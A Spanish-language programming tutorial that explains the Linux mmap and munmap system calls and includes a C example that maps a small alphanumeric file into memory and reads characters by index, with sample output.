Cuando dos procesos mapean la misma región de un archivo, comparten las mismas páginas de memoria física.
Si se crea un proceso hijo, hereda las asignaciones del padre y estas asignaciones se refieren a las mismas páginas de la memoria física que la del padre. Ante cualquier cambio de datos en el proceso hijo, se crearían diferentes páginas para el proceso hijo.
Cuando dos o más procesos comparten las mismas páginas, cada proceso puede ver los cambios en el contenido de la página realizados por otros procesos dependiendo del tipo de mapeo. El tipo de mapeo puede ser privado o compartido:
Private Mapping (MAP_PRIVATE) - Las modificaciones del contenido de este mapeo no son visibles para otros procesos y el mapeo no se lleva al archivo subyacente.
Shared Mapping (MAP_SHARED) - Las modificaciones al contenido de este mapeo son visibles para otros procesos y el mapeo se lleva al archivo subyacente.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
La llamada al sistema anterior devuelve la dirección de inicio de la asignación en caso de éxito o MAP_FAILED en caso de error.
La dirección virtual addr puede ser especificada por el usuario o generada por el kernel (al pasar la dirección como NULL). La longitud del campo indicada requiere el tamaño de la asignación en bytes. El campo prot indica valores de protección de memoria como PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC destinados a regiones a las que no se puede acceder, leer, escribir o ejecutar respectivamente. Este valor puede ser único (PROT_NONE) o puede ser ORd con cualquiera de las tres banderas (las últimas 3). Las banderas de campo indican el tipo de mapeo o MAP_PRIVATE o MAP_SHARED. El campo 'fd' indica el descriptor de archivo que identifica el archivo a mapear y el campo 'desplazamiento' implica el punto de inicio del archivo, si es necesario mapear el archivo completo, el desplazamiento debe ser cero.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
La llamada al sistema anterior devuelve 0 en caso de éxito o -1 en caso de error.
La llamada al sistema munmap, realiza el desmapeado de la región ya mapeada en memoria. Los campos addr indican la dirección de inicio del mapeo y la longitud indica el tamaño en bytes del mapeo que se va a desasignar. Por lo general, el mapeo y la anulación de mapeo serían para todas las regiones mapeadas. Si tiene que ser diferente, entonces debe encogerse o cortarse en dos partes. Si la dirección no tiene ningún mapeo, esta llamada no tendría ningún efecto y la llamada devuelve 0 (éxito).
Consideremos un ejemplo:
Step 1 - Escriba en el archivo caracteres alfanuméricos como se muestra a continuación -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Asigne el contenido del archivo a la memoria usando la llamada al sistema mmap (). Esto devolvería la dirección de inicio después de mapeada en la memoria.
Step 3- Acceda al contenido del archivo usando notación de matriz (también puede acceder con notación de puntero) ya que no lee la costosa llamada al sistema read (). Al utilizar la asignación de memoria, evite la copia múltiple entre el espacio de usuario, los búferes de espacio del kernel y la memoria caché del búfer.
Step 4 - Repita la lectura del contenido del archivo hasta que el usuario ingrese “-1” (significa fin de acceso).
Step 5 - Realizar actividades de limpieza, es decir, anular el mapeo de la región de memoria asignada (munmap ()), cerrar el archivo y eliminarlo.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Salida
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1